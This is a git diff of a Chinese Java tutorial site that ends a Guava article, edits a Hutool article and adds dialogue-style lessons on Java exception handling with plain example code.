+- 如果一个对象不需要支持修改操作,不可变的集合将会节省空间和时间的开销。
+
+- 可以当作一个常量来对待,并且集合中的对象在以后也不会被改变。
+
+与 JDK 中提供的不可变集合相比,我提供的 Immutable 才是真正的不可变,我为什么这么说呢?来看下面这个示例。
+
+下面的代码利用 JDK 的 `Collections.unmodifiableList(list)` 得到一个不可修改的集合 unmodifiableList。
+
+```java
+List list = new ArrayList();
+list.add("雷军");
+list.add("乔布斯");
+
+List unmodifiableList = Collections.unmodifiableList(list);
+unmodifiableList.add("马云");
+```
+
+运行代码将会出现以下异常:
+
+```
+Exception in thread "main" java.lang.UnsupportedOperationException
+ at java.base/java.util.Collections$UnmodifiableCollection.add(Collections.java:1060)
+ at com.itwanger.guava.NullTest.main(NullTest.java:29)
+```
+
+很好,执行 `unmodifiableList.add()` 的时候抛出了 UnsupportedOperationException 异常,说明 `Collections.unmodifiableList()` 返回了一个不可变集合。但真的是这样吗?
+
+你可以把 `unmodifiableList.add()` 换成 `list.add()`。
+
+```java
+List list = new ArrayList();
+list.add("雷军");
+list.add("乔布斯");
+
+List unmodifiableList = Collections.unmodifiableList(list);
+list.add("马云");
+```
+
+再次执行的话,程序并没有报错,并且你会发现 unmodifiableList 中真的多了一个元素。说明什么呢?
+
+`Collections.unmodifiableList(…)` 实现的不是真正的不可变集合,当原始集合被修改后,不可变集合里面的元素也是跟着发生变化。
+
+我就不会犯这种错,来看下面的代码。
+
+```java
+List stringArrayList = Lists.newArrayList("雷军","乔布斯");
+ImmutableList immutableList = ImmutableList.copyOf(stringArrayList);
+immutableList.add("马云");
+```
+
+尝试 `immutableList.add()` 的时候会抛出 `UnsupportedOperationException`。我在源码中已经把 `add()` 方法废弃了。
+
+```java
+ /**
+ * Guaranteed to throw an exception and leave the collection unmodified.
+ *
+ * @throws UnsupportedOperationException always
+ * @deprecated Unsupported operation.
+ */
+ @CanIgnoreReturnValue
+ @Deprecated
+ @Override
+ public final boolean add(E e) {
+ throw new UnsupportedOperationException();
+ }
+```
+
+尝试 `stringArrayList.add()` 修改原集合的时候 immutableList 并不会因此而发生改变。
+
+除了不可变集合以外,我还提供了新的集合类型,比如说:
+
+- Multiset,可以多次添加相等的元素。当把 Multiset 看成普通的 Collection 时,它表现得就像无序的 ArrayList;当把 Multiset 看作 `Map` 时,它也提供了符合性能期望的查询操作。
+
+- Multimap,可以很容易地把一个键映射到多个值。
+
+- BiMap,一种特殊的 Map,可以用 `inverse()` 反转
+ `BiMap` 的键值映射;保证值是唯一的,因此 `values()` 返回 Set 而不是普通的 Collection。
+
+
+
+### 05、字符串处理
+
+字符串表示字符的不可变序列,创建后就不能更改。在我们日常的工作中,字符串的使用非常频繁,熟练的对其操作可以极大的提升我们的工作效率。
+
+我提供了连接器——Joiner,可以用分隔符把字符串序列连接起来。下面的代码将会返回“雷军; 乔布斯”,你可以使用 `useForNull(String)` 方法用某个字符串来替换 null,而不像 `skipNulls()` 方法那样直接忽略 null。
+
+```java
+Joiner joiner = Joiner.on("; ").skipNulls();
+return joiner.join("雷军", null, "乔布斯");
+```
+
+我还提供了拆分器—— Splitter,可以按照指定的分隔符把字符串序列进行拆分。
+
+```java
+Splitter.on(',')
+ .trimResults()
+ .omitEmptyStrings()
+ .split("雷军,乔布斯,, 沉默王二");
+```
+
+### 06、缓存
+
+缓存在很多场景下都是相当有用的。你应该知道,检索一个值的代价很高,尤其是需要不止一次获取值的时候,就应当考虑使用缓存。
+
+我提供的 Cache 和 ConcurrentMap 很相似,但也不完全一样。最基本的区别是 ConcurrentMap 会一直保存所有添加的元素,直到显式地移除。相对地,我提供的 Cache 为了限制内存占用,通常都设定为自动回收元素。
+
+如果你愿意消耗一些内存空间来提升速度,你能预料到某些键会被查询一次以上,缓存中存放的数据总量不会超出内存容量,就可以使用 Cache。
+
+来个示例你感受下吧。
+
+```java
+@Test
+public void testCache() throws ExecutionException, InterruptedException {
+
+ CacheLoader cacheLoader = new CacheLoader() {
+ // 如果找不到元素,会调用这里
+ @Override
+ public Animal load(String s) {
+ return null;
+ }
+ };
+ LoadingCache loadingCache = CacheBuilder.newBuilder()
+ .maximumSize(1000) // 容量
+ .expireAfterWrite(3, TimeUnit.SECONDS) // 过期时间
+ .removalListener(new MyRemovalListener()) // 失效监听器
+ .build(cacheLoader); //
+ loadingCache.put("狗", new Animal("旺财", 1));
+ loadingCache.put("猫", new Animal("汤姆", 3));
+ loadingCache.put("狼", new Animal("灰太狼", 4));
+
+ loadingCache.invalidate("猫"); // 手动失效
+
+ Animal animal = loadingCache.get("狼");
+ System.out.println(animal);
+ Thread.sleep(4 * 1000);
+ // 狼已经自动过去,获取为 null 值报错
+ System.out.println(loadingCache.get("狼"));
+}
+
+/**
+ * 缓存移除监听器
+ */
+class MyRemovalListener implements RemovalListener {
+
+ @Override
+ public void onRemoval(RemovalNotification notification) {
+ String reason = String.format("key=%s,value=%s,reason=%s", notification.getKey(), notification.getValue(), notification.getCause());
+ System.out.println(reason);
+ }
+}
+
+class Animal {
+ private String name;
+ private Integer age;
+
+ public Animal(String name, Integer age) {
+ this.name = name;
+ this.age = age;
+ }
+}
+```
+
+CacheLoader 中重写了 load 方法,这个方法会在查询缓存没有命中时被调用,我这里直接返回了 null,其实这样会在没有命中时抛出 CacheLoader returned null for key 异常信息。
+
+MyRemovalListener 作为缓存元素失效时的监听类,在有元素缓存失效时会自动调用 onRemoval 方法,这里需要注意的是这个方法是同步方法,如果这里耗时较长,会阻塞直到处理完成。
+
+LoadingCache 就是缓存的主要操作对象了,常用的就是其中的 put 和 get 方法了。
+
+### 07、尾声
+
+上面介绍了我认为最常用的功能,作为 Google 公司开源的 Java 开发核心库,个人觉得实用性还是很高的(不然呢?嘿嘿嘿)。引入到你的项目后不仅能快速的实现一些开发中常用的功能,而且还可以让代码更加的优雅简洁。
+
+我觉得适用于每一个 Java 项目,至于其他的一些功能,比如说散列、事件总线、数学运算、反射,就等待你去发掘了。
+
+
diff --git a/docs/src/common-tool/hutool.md b/docs/common-tool/hutool.md
similarity index 84%
rename from docs/src/common-tool/hutool.md
rename to docs/common-tool/hutool.md
index d231603426..20172e3349 100644
--- a/docs/src/common-tool/hutool.md
+++ b/docs/common-tool/hutool.md
@@ -1,25 +1,17 @@
----
-title: Hutool:国产良心工具包,让你的Java变得更甜
-shortTitle: Hutool工具类库
-category:
- - Java核心
-tag:
- - 常用工具类
-description: 本文详细介绍了国产Java工具包Hutool,阐述了它在简化Java编程中的实际应用和优势。通过具体的代码示例,展示了如何使用Hutool解决字符串处理、集合操作、日期时间处理等常见问题。学习Hutool的技巧,让您在Java编程中更加轻松、高效,享受编程的乐趣。
-head:
- - - meta
- - name: keywords
- content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Hutool,java hutool
----
读者群里有个小伙伴感慨说,“Hutool 这款开源类库太厉害了,基本上该有该的工具类,它里面都有。”讲真的,我平常工作中也经常用 Hutool,它确实可以帮助我们简化每一行代码,使 Java 拥有函数式语言般的优雅,让 Java 语言变得“甜甜的”。
-Hutool 的作者在[官网](https://hutool.cn/)上说,Hutool 是 Hu+tool 的自造词(好像不用说,我们也能猜得到),“Hu”用来致敬他的“前任”公司,“tool”就是工具的意思,谐音就有意思了,“糊涂”,寓意追求“万事都作糊涂观,无所谓失,无所谓得”(一个开源类库,上升到了哲学的高度,作者厉害了)。
+PS:为了能够帮助更多的 Java 爱好者,已将《Java 程序员进阶之路》开源到了 GitHub(本篇已收录)。该专栏目前已经收获了 598 枚星标,如果你也喜欢这个专栏,**觉得有帮助的话,可以去点个 star,这样也方便以后进行更系统化的学习**!
+
+>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
+
+Hutool 的作者在官网上说,Hutool 是 Hu+tool 的自造词(好像不用说,我们也能猜得到),“Hu”用来致敬他的“前任”公司,“tool”就是工具的意思,谐音就有意思了,“糊涂”,寓意追求“万事都作糊涂观,无所谓失,无所谓得”(一个开源类库,上升到了哲学的高度,作者厉害了)。
看了一下开发团队的一个成员介绍,一个 Java 后端工具的作者竟然爱前端、爱数码,爱美女,嗯嗯嗯,确实“难得糊涂”(手动狗头)。
-
+
+
废话就说到这,来吧,实操走起!
@@ -40,17 +32,17 @@ Hutool 的设计思想是尽量减少重复的定义,让项目中的 util 包
就像作者在官网上说的那样:
- 以前,我们打开搜索引擎 -> 搜“Java MD5 加密” -> 打开某篇博客 -> 复制粘贴 -> 改改,变得好用些
-- 有了 Hutool 以后呢,引入 Hutool -> 直接 `SecureUtil.md5()`
+>有了 Hutool 以后呢,引入 Hutool -> 直接 `SecureUtil.md5()`
Hutool 对不仅对 JDK 底层的文件、流、加密解密、转码、正则、线程、XML等做了封装,还提供了以下这些组件:
-
+
非常多,非常全面,鉴于此,我只挑选一些我喜欢的来介绍下(偷偷地告诉你,我就是想偷懒)。
### 02、类型转换
-类型转换在 Java 开发中很常见,尤其是从 HttpRequest 中获取参数的时候,前端传递的是整型,但后端只能先获取到字符串,然后再调用 `parseXXX()` 方法进行转换,还要加上判空,很繁琐。
+类型转换在 Java 开发中很常见,尤其是从 HttpRequest 中获取参数的时候,前端传递的是整形,但后端只能先获取到字符串,然后再调用 `parseXXX()` 方法进行转换,还要加上判空,很繁琐。
Hutool 的 Convert 类可以简化这个操作,可以将任意可能的类型转换为指定类型,同时第二个参数 defaultValue 可用于在转换失败时返回一个默认值。
@@ -137,7 +129,7 @@ String chineseZodiac = DateUtil.getChineseZodiac(1989);
### 04、IO 流相关
-[IO 操作包括读和写](https://javabetter.cn/io/shangtou.html),应用的场景主要包括网络操作和文件操作,原生的 Java 类库区分[字符流](https://javabetter.cn/io/reader-writer.html)和[字节流](https://javabetter.cn/io/stream.html),字节流 InputStream 和 OutputStream 就有很多很多种,使用起来让人头皮发麻。
+IO 操作包括读和写,应用的场景主要包括网络操作和文件操作,原生的 Java 类库区分字符流和字节流,字节流 InputStream 和 OutputStream 就有很多很多种,使用起来让人头皮发麻。
Hutool 封装了流操作工具类 IoUtil、文件读写操作工具类 FileUtil、文件类型判断工具类 FileTypeUtil 等等。
@@ -160,11 +152,11 @@ long copySize = IoUtil.copy(in, out, IoUtil.DEFAULT_BUFFER_SIZE);
在实际编码当中,我们通常需要从某些文件里面读取一些数据,比如配置文件、文本文件、图片等等,那这些文件通常放在什么位置呢?
-
+
放在项目结构图中的 resources 目录下,当项目编译后,会出现在 classes 目录下。对应磁盘上的目录如下图所示:
-
+
当我们要读取文件的时候,我是不建议使用绝对路径的,因为操作系统不一样的话,文件的路径标识符也是不一样的。最好使用相对路径。
@@ -317,7 +309,7 @@ public class ConsoleDemo {
- 是不是电话号码
- 等等
-
+
```java
Validator.isEmail("沉默王二");
@@ -326,7 +318,7 @@ Validator.isMobile("itwanger.com");
### 12、双向查找 Map
-[Guava](https://javabetter.cn/common-tool/guava.html) 中提供了一种特殊的 Map 结构,叫做 BiMap,实现了一种双向查找的功能,可以根据 key 查找 value,也可以根据 value 查找 key,Hutool 也提供这种 Map 结构。
+Guava 中提供了一种特殊的 Map 结构,叫做 BiMap,实现了一种双向查找的功能,可以根据 key 查找 value,也可以根据 value 查找 key,Hutool 也提供这种 Map 结构。
```java
BiMap biMap = new BiMap<>(new HashMap<>());
@@ -344,7 +336,7 @@ biMap.getKey("沉默王三");
在实际的开发工作中,其实我更倾向于使用 Guava 的 BiMap,而不是 Hutool 的。这里提一下,主要是我发现了 Hutool 在线文档上的一处错误,提了个 issue(从中可以看出我一颗一丝不苟的心和一双清澈明亮的大眼睛啊)。
-
+
### 13、图片工具
@@ -386,7 +378,7 @@ ImgUtil.pressText(//
趁机让大家欣赏一下二哥帅气的真容。
-
+
### 14、配置文件
@@ -554,13 +546,5 @@ Hutool 中的类库还有很多,尤其是一些对第三方类库的进一步
项目源码地址:[https://github.com/looly/hutool](https://github.com/looly/hutool)
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/exception/gailan.md b/docs/exception/gailan.md
new file mode 100644
index 0000000000..795c647956
--- /dev/null
+++ b/docs/exception/gailan.md
@@ -0,0 +1,174 @@
+
+
+“二哥,今天就要学习异常了吗?”三妹问。
+
+“是的。只有正确地处理好异常,才能保证程序的可靠性,所以异常的学习还是很有必要的。”我说。
+
+“那到底什么是异常呢?”三妹问。
+
+“异常是指中断程序正常执行的一个不确定的事件。当异常发生时,程序的正常执行流程就会被打断。一般情况下,程序都会有很多条语句,如果没有异常处理机制,前面的语句一旦出现了异常,后面的语句就没办法继续执行了。”
+
+“有了异常处理机制后,程序在发生异常的时候就不会中断,我们可以对异常进行捕获,然后改变程序执行的流程。”
+
+“除此之外,异常处理机制可以保证我们向用户提供友好的提示信息,而不是程序原生的异常信息——用户根本理解不了。”
+
+“不过,站在开发者的角度,我们更希望看到原生的异常信息,因为这有助于我们更快地找到 bug 的根源,反而被过度包装的异常信息会干扰我们的视线。”
+
+“Java 语言在一开始就提供了相对完善的异常处理机制,这种机制大大降低了编写可靠程序的门槛,这也是 Java 之所以能够流行的原因之一。”
+
+“那导致程序抛出异常的原因有哪些呢?”三妹问。
+
+比如说:
+
+- 程序在试图打开一个不存在的文件;
+- 程序遇到了网络连接问题;
+- 用户输入了糟糕的数据;
+- 程序在处理算术问题时没有考虑除数为 0 的情况;
+
+等等等等。
+
+挑个最简单的原因来说吧。
+
+```java
+public class Demo {
+ public static void main(String[] args) {
+ System.out.println(10/0);
+ }
+}
+```
+
+这段代码在运行的时候抛出的异常信息如下所示:
+
+```
+Exception in thread "main" java.lang.ArithmeticException: / by zero
+ at com.itwanger.s41.Demo.main(Demo.java:8)
+```
+
+“你看,三妹,这个原生的异常信息对用户来说,显然是不太容易理解的,但对于我们开发者来说,简直不要太直白了——很容易就能定位到异常发生的根源。”
+
+“哦,我知道了。下一个问题,我经常看到一些文章里提到 Exception 和 Error,二哥你能帮我解释一下它们之间的区别吗?”三妹问。
+
+“这是一个好问题呀,三妹!”
+
+从单词的释义上来看,error 为错误,exception 为异常,错误的等级明显比异常要高一些。
+
+从程序的角度来看,也的确如此。
+
+Error 的出现,意味着程序出现了严重的问题,而这些问题不应该再交给 Java 的异常处理机制来处理,程序应该直接崩溃掉,比如说 OutOfMemoryError,内存溢出了,这就意味着程序在运行时申请的内存大于系统能够提供的内存,导致出现的错误,这种错误的出现,对于程序来说是致命的。
+
+Exception 的出现,意味着程序出现了一些在可控范围内的问题,我们应当采取措施进行挽救。
+
+比如说之前提到的 ArithmeticException,很明显是因为除数出现了 0 的情况,我们可以选择捕获异常,然后提示用户不应该进行除 0 操作,当然了,更好的做法是直接对除数进行判断,如果是 0 就不进行除法运算,而是告诉用户换一个非 0 的数进行运算。
+
+“三妹,还能想到其他的问题吗?”
+
+“嗯,不用想,二哥,我已经提前做好预习工作了。”三妹自信地说,“异常又可以分为 checked 和 unchecked,它们之间又有什么区别呢?”
+
+“哇,三妹,果然又是一个好问题呢。”
+
+checked 异常(检查型异常)在源代码里必须显式地捕获或者抛出,否则编译器会提示你进行相应的操作;而 unchecked 异常(非检查型异常)就是所谓的运行时异常,通常是可以通过编码进行规避的,并不需要显式地捕获或者抛出。
+
+“我先画一幅思维导图给你感受一下。”
+
+
+
+首先,Exception 和 Error 都继承了 Throwable 类。换句话说,只有 Throwable 类(或者子类)的对象才能使用 throw 关键字抛出,或者作为 catch 的参数类型。
+
+面试中经常问到的一个问题是,NoClassDefFoundError 和 ClassNotFoundException 有什么区别?
+
+“三妹你知道吗?”
+
+“不知道,二哥,你解释下呗。”
+
+它们都是由于系统运行时找不到要加载的类导致的,但是触发的原因不一样。
+
+- NoClassDefFoundError:程序在编译时可以找到所依赖的类,但是在运行时找不到指定的类文件,导致抛出该错误;原因可能是 jar 包缺失或者调用了初始化失败的类。
+- ClassNotFoundException:当动态加载 Class 对象的时候找不到对应的类时抛出该异常;原因可能是要加载的类不存在或者类名写错了。
+
+
+其次,像 IOException、ClassNotFoundException、SQLException 都属于 checked 异常;像 RuntimeException 以及子类 ArithmeticException、ClassCastException、ArrayIndexOutOfBoundsException、NullPointerException,都属于 unchecked 异常。
+
+unchecked 异常可以不在程序中显示处理,就像之前提到的 ArithmeticException 就是的;但 checked 异常必须显式处理。
+
+比如说下面这行代码:
+
+```java
+Class clz = Class.forName("com.itwanger.s41.Demo1");
+```
+
+如果没做处理,比如说在 Intellij IDEA 环境下,就会提示你这行代码可能会抛出 `java.lang.ClassNotFoundException`。
+
+
+
+建议你要么使用 try-catch 进行捕获:
+
+```java
+try {
+ Class clz = Class.forName("com.itwanger.s41.Demo1");
+} catch (ClassNotFoundException e) {
+ e.printStackTrace();
+}
+```
+
+注意打印异常堆栈信息的 `printStackTrace()` 方法,该方法会将异常的堆栈信息打印到标准的控制台下,如果是测试环境,这样的写法还 OK,如果是生产环境,这样的写法是不可取的,必须使用日志框架把异常的堆栈信息输出到日志系统中,否则可能没办法跟踪。
+
+要么在方法签名上使用 throws 关键字抛出:
+
+```java
+public class Demo1 {
+ public static void main(String[] args) throws ClassNotFoundException {
+ Class clz = Class.forName("com.itwanger.s41.Demo1");
+ }
+}
+```
+
+这样做的好处是不需要对异常进行捕获处理,只需要交给 Java 虚拟机来处理即可;坏处就是没法针对这种情况做相应的处理。
+
+“二哥,针对 checked 异常,我在知乎上看到一个帖子,说 Java 中的 checked 很没有必要,这种异常在编译期要么 try-catch,要么 throws,但又不一定会出现异常,你觉得这样的设计有意义吗?”三妹提出了一个很尖锐的问题。
+
+“哇,这种问题问的好。”我不由得对三妹心生敬佩。
+
+“的确,checked 异常在业界是有争论的,它假设我们捕获了异常,并且针对这种情况作了相应的处理,但有些时候,根本就没法处理。”我说,“就拿上面提到的 ClassNotFoundException 异常来说,我们假设对其进行了 try-catch,可真的出现了 ClassNotFoundException 异常后,我们也没多少的可操作性,再 `Class.forName()` 一次?”
+
+另外,checked 异常也不兼容函数式编程,后面如果你写 Lambda/Stream 代码的时候,就会体验到这种苦涩。
+
+当然了,checked 异常并不是一无是处,尤其是在遇到 IO 或者网络异常的时候,比如说进行 Socket 链接,我大致写了一段:
+
+```java
+public class Demo2 {
+ private String mHost;
+ private int mPort;
+ private Socket mSocket;
+ private final Object mLock = new Object();
+
+ public void run() {
+ }
+
+ private void initSocket() {
+ while (true) {
+ try {
+ Socket socket = new Socket(mHost, mPort);
+ synchronized (mLock) {
+ mSocket = socket;
+ }
+ break;
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+}
+```
+
+当发生 IOException 的时候,socket 就重新尝试连接,否则就 break 跳出循环。意味着如果 IOException 不是 checked 异常,这种写法就略显突兀,因为 IOException 没办法像 ArithmeticException 那样用一个 if 语句判断除数是否为 0 去规避。
+
+或者说,强制性的 checked 异常可以让我们在编程的时候去思考,遇到这种异常的时候该怎么更优雅的去处理。显然,Socket 编程中,肯定是会遇到 IOException 的,假如 IOException 是非检查型异常,就意味着开发者也可以不考虑,直接跳过,交给 Java 虚拟机来处理,但我觉得这样做肯定更不合适。
+
+“好了,三妹,关于异常处理机制这节就先讲到这里吧。”我松了一口气,对三妹说。
+
+“好的,二哥,你去休息吧。”
+
+“对了,三妹,我定个姑婆婆的外卖吧,晚上我们喝粥。”
+
+“好呀,我要两个豆沙包。”
+
diff --git a/docs/exception/shijian.md b/docs/exception/shijian.md
new file mode 100644
index 0000000000..073e9d7074
--- /dev/null
+++ b/docs/exception/shijian.md
@@ -0,0 +1,217 @@
+
+
+“三妹啊,今天我来给你传授几个异常处理的最佳实践经验,以免你以后在开发中采坑。”我面带着微笑对三妹说。
+
+“好啊,二哥,我洗耳恭听。”三妹也微微一笑,欣然接受。
+
+“好,那哥就不废话了。开整。”
+
+--------
+
+**1)尽量不要捕获 RuntimeException**
+
+阿里出品的嵩山版 Java 开发手册上这样规定:
+
+>尽量不要 catch RuntimeException,比如 NullPointerException、IndexOutOfBoundsException 等等,应该用预检查的方式来规避。
+
+正例:
+
+```java
+if (obj != null) {
+ //...
+}
+```
+
+反例:
+
+```java
+try {
+ obj.method();
+} catch (NullPointerException e) {
+ //...
+}
+```
+
+“哦,那如果有些异常预检查不出来呢?”三妹问。
+
+“的确会存在这样的情况,比如说 NumberFormatException,虽然也属于 RuntimeException,但没办法预检查,所以还是应该用 catch 捕获处理。”我说。
+
+**2)尽量使用 try-with-resource 来关闭资源**
+
+当需要关闭资源时,尽量不要使用 try-catch-finally,禁止在 try 块中直接关闭资源。
+
+反例:
+
+```java
+public void doNotCloseResourceInTry() {
+ FileInputStream inputStream = null;
+ try {
+ File file = new File("./tmp.txt");
+ inputStream = new FileInputStream(file);
+ inputStream.close();
+ } catch (FileNotFoundException e) {
+ log.error(e);
+ } catch (IOException e) {
+ log.error(e);
+ }
+}
+```
+
+“为什么呢?”三妹问。
+
+“原因也很简单,因为一旦 `close()` 之前发生了异常,那么资源就无法关闭。直接使用 [try-with-resource](https://mp.weixin.qq.com/s/7yhHOG0SVCfoHdhtZHfeVg) 来处理是最佳方式。”我说。
+
+```java
+public void automaticallyCloseResource() {
+ File file = new File("./tmp.txt");
+ try (FileInputStream inputStream = new FileInputStream(file);) {
+ } catch (FileNotFoundException e) {
+ log.error(e);
+ } catch (IOException e) {
+ log.error(e);
+ }
+}
+```
+
+“除非资源没有实现 AutoCloseable 接口。”我补充道。
+
+“那这种情况下怎么办呢?”三妹问。
+
+“就在 finally 块关闭流。”我说。
+
+```java
+public void closeResourceInFinally() {
+ FileInputStream inputStream = null;
+ try {
+ File file = new File("./tmp.txt");
+ inputStream = new FileInputStream(file);
+ } catch (FileNotFoundException e) {
+ log.error(e);
+ } finally {
+ if (inputStream != null) {
+ try {
+ inputStream.close();
+ } catch (IOException e) {
+ log.error(e);
+ }
+ }
+ }
+}
+```
+
+**3)不要捕获 Throwable**
+
+Throwable 是 exception 和 error 的父类,如果在 catch 子句中捕获了 Throwable,很可能把超出程序处理能力之外的错误也捕获了。
+
+```java
+public void doNotCatchThrowable() {
+ try {
+ } catch (Throwable t) {
+ // 不要这样做
+ }
+}
+```
+
+“到底为什么啊?”三妹问。
+
+“因为有些 error 是不需要程序来处理,程序可能也处理不了,比如说 OutOfMemoryError 或者 StackOverflowError,前者是因为 Java 虚拟机无法申请到足够的内存空间时出现的非正常的错误,后者是因为线程申请的栈深度超过了允许的最大深度出现的非正常错误,如果捕获了,就掩盖了程序应该被发现的严重错误。”我说。
+
+“打个比方,一匹马只能拉一车厢的货物,拉两车厢可能就挂了,但一 catch,就发现不了问题了。”我补充道。
+
+**4)不要省略异常信息的记录**
+
+很多时候,由于疏忽大意,开发者很容易捕获了异常却没有记录异常信息,导致程序上线后真的出现了问题却没有记录可查。
+
+```java
+public void doNotIgnoreExceptions() {
+ try {
+ } catch (NumberFormatException e) {
+ // 没有记录异常
+ }
+}
+```
+
+应该把错误信息记录下来。
+
+```java
+public void logAnException() {
+ try {
+ } catch (NumberFormatException e) {
+ log.error("哦,错误竟然发生了: " + e);
+ }
+}
+```
+
+**5)不要记录了异常又抛出了异常**
+
+这纯属画蛇添足,并且容易造成错误信息的混乱。
+
+反例:
+
+```java
+try {
+} catch (NumberFormatException e) {
+ log.error(e);
+ throw e;
+}
+```
+
+要抛出就抛出,不要记录,记录了又抛出,等于多此一举。
+
+反例:
+
+```java
+public void wrapException(String input) throws MyBusinessException {
+ try {
+ } catch (NumberFormatException e) {
+ throw new MyBusinessException("错误信息描述:", e);
+ }
+}
+```
+
+这种也是一样的道理,既然已经捕获了,就不要在方法签名上抛出了。
+
+**6)不要在 finally 块中使用 return**
+
+阿里出品的嵩山版 Java 开发手册上这样规定:
+
+>try 块中的 return 语句执行成功后,并不会马上返回,而是继续执行 finally 块中的语句,如果 finally 块中也存在 return 语句,那么 try 块中的 return 就将被覆盖。
+
+反例:
+
+```java
+private int x = 0;
+public int checkReturn() {
+ try {
+ return ++x;
+ } finally {
+ return ++x;
+ }
+}
+```
+
+“哦,确实啊,try 块中 x 返回的值为 1,到了 finally 块中就返回 2 了。”三妹说。
+
+“是这样的。”我点点头。
+
+----------
+
+“好了,三妹,关于异常处理实践就先讲这 6 条吧,实际开发中你还会碰到其他的一些坑,自己踩一踩可能印象更深刻一些。”我说。
+
+“那万一到时候我工作后被领导骂了怎么办?”三妹委屈地说。
+
+“新人嘛,总要写几个 bug 才能对得起新人这个称号嘛。”我轻描淡写地说。
+
+“好吧。”三妹无奈地叹了口气。
+
+----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
+
+
+
+
+
+
diff --git a/docs/exception/throw-throws.md b/docs/exception/throw-throws.md
new file mode 100644
index 0000000000..6d1a6ed5a0
--- /dev/null
+++ b/docs/exception/throw-throws.md
@@ -0,0 +1,103 @@
+
+
+“二哥,你能告诉我 throw 和 throws 两个关键字的区别吗?”三妹问。
+
+“throw 关键字,用于主动地抛出异常;正常情况下,当除数为 0 的时候,程序会主动抛出 ArithmeticException;但如果我们想要除数为 1 的时候也抛出 ArithmeticException,就可以使用 throw 关键字主动地抛出异常。”我说。
+
+```java
+throw new exception_class("error message");
+```
+
+语法也非常简单,throw 关键字后跟上 new 关键字,以及异常的类型还有参数即可。
+
+举个例子。
+
+```java
+public class ThrowDemo {
+ static void checkEligibilty(int stuage){
+ if(stuage<18) {
+ throw new ArithmeticException("年纪未满 18 岁,禁止观影");
+ } else {
+ System.out.println("请认真观影!!");
+ }
+ }
+
+ public static void main(String args[]){
+ checkEligibilty(10);
+ System.out.println("愉快地周末..");
+ }
+}
+```
+
+这段代码在运行的时候就会抛出以下错误:
+
+```
+Exception in thread "main" java.lang.ArithmeticException: 年纪未满 18 岁,禁止观影
+ at com.itwanger.s43.ThrowDemo.checkEligibilty(ThrowDemo.java:9)
+ at com.itwanger.s43.ThrowDemo.main(ThrowDemo.java:16)
+```
+
+“throws 关键字的作用就和 throw 完全不同。”我说,“[异常处理机制](https://mp.weixin.qq.com/s/fXRJ1xdz_jNSSVTv7ZrYGQ)这小节中讲了 checked exception 和 unchecked exception,也就是检查型异常和非检查型异常;对于检查型异常来说,如果你没有做处理,编译器就会提示你。”
+
+`Class.forName()` 方法在执行的时候可能会遇到 `java.lang.ClassNotFoundException` 异常,一个检查型异常,如果没有做处理,IDEA 就会提示你,要么在方法签名上声明,要么放在 try-catch 中。
+
+
+
+“那什么情况下使用 throws 而不是 try-catch 呢?”三妹问。
+
+“假设现在有这么一个方法 `myMethod()`,可能会出现 ArithmeticException 异常,也可能会出现 NullPointerException。这种情况下,可以使用 try-catch 来处理。”我回答。
+
+```java
+public void myMethod() {
+ try {
+ // 可能抛出异常
+ } catch (ArithmeticException e) {
+ // 算术异常
+ } catch (NullPointerException e) {
+ // 空指针异常
+ }
+}
+```
+
+“但假设有好几个类似 `myMethod()` 的方法,如果为每个方法都加上 try-catch,就会显得非常繁琐。代码就会变得又臭又长,可读性就差了。”我继续说。
+
+“一个解决办法就是,使用 throws 关键字,在方法签名上声明可能会抛出的异常,然后在调用该方法的地方使用 try-catch 进行处理。”
+
+```java
+public static void main(String args[]){
+ try {
+ myMethod1();
+ } catch (ArithmeticException e) {
+ // 算术异常
+ } catch (NullPointerException e) {
+ // 空指针异常
+ }
+}
+public static void myMethod1() throws ArithmeticException, NullPointerException{
+ // 方法签名上声明异常
+}
+```
+
+“好了,我来总结下 throw 和 throws 的区别,三妹,你记一下。”
+
+ 1)throws 关键字用于声明异常,它的作用和 try-catch 相似;而 throw 关键字用于显式的抛出异常。
+
+2)throws 关键字后面跟的是异常的名字;而 throw 关键字后面跟的是异常的对象。
+
+示例。
+
+```
+throws ArithmeticException;
+```
+
+```
+throw new ArithmeticException("算术异常");
+```
+
+ 3)throws 关键字出现在方法签名上,而 throw 关键字出现在方法体里。
+
+4)throws 关键字在声明异常的时候可以跟多个,用逗号隔开;而 throw 关键字每次只能抛出一个异常。
+
+“三妹,这下子清楚了吧?”我抬抬头,看了看三妹说。
+
+“好的,二哥,这下彻底记住了,你真棒!”
\ No newline at end of file
diff --git a/docs/exception/try-catch-finally.md b/docs/exception/try-catch-finally.md
new file mode 100644
index 0000000000..9966e07400
--- /dev/null
+++ b/docs/exception/try-catch-finally.md
@@ -0,0 +1,188 @@
+
+“二哥,[上一节](https://mp.weixin.qq.com/s/fXRJ1xdz_jNSSVTv7ZrYGQ)你讲了异常处理机制,这一节讲什么呢?”三妹问。
+
+“该讲 try-catch-finally 了。”我说,“try 关键字后面会跟一个大括号 `{}`,我们把一些可能发生异常的代码放到大括号里;`try` 块后面一般会跟 `catch` 块,用来处理发生异常的情况;当然了,异常不一定会发生,为了保证发不发生异常都能执行一些代码,就会跟一个 `finally` 块。”
+
+“具体该怎么用呀,二哥?”三妹问。
+
+“别担心,三妹,我一一来说明下。”我说。
+
+`try` 块的语法很简单:
+
+```java
+try{
+// 可能发生异常的代码
+}
+```
+
+“注意啊,三妹,如果一些代码确定不会抛出异常,就尽量不要把它包裹在 `try` 块里,因为加了异常处理的代码执行起来要比没有加的花费更多的时间。”
+
+`catch` 块的语法也很简单:
+
+```java
+try{
+// 可能发生异常的代码
+}catch (exception(type) e(object)){
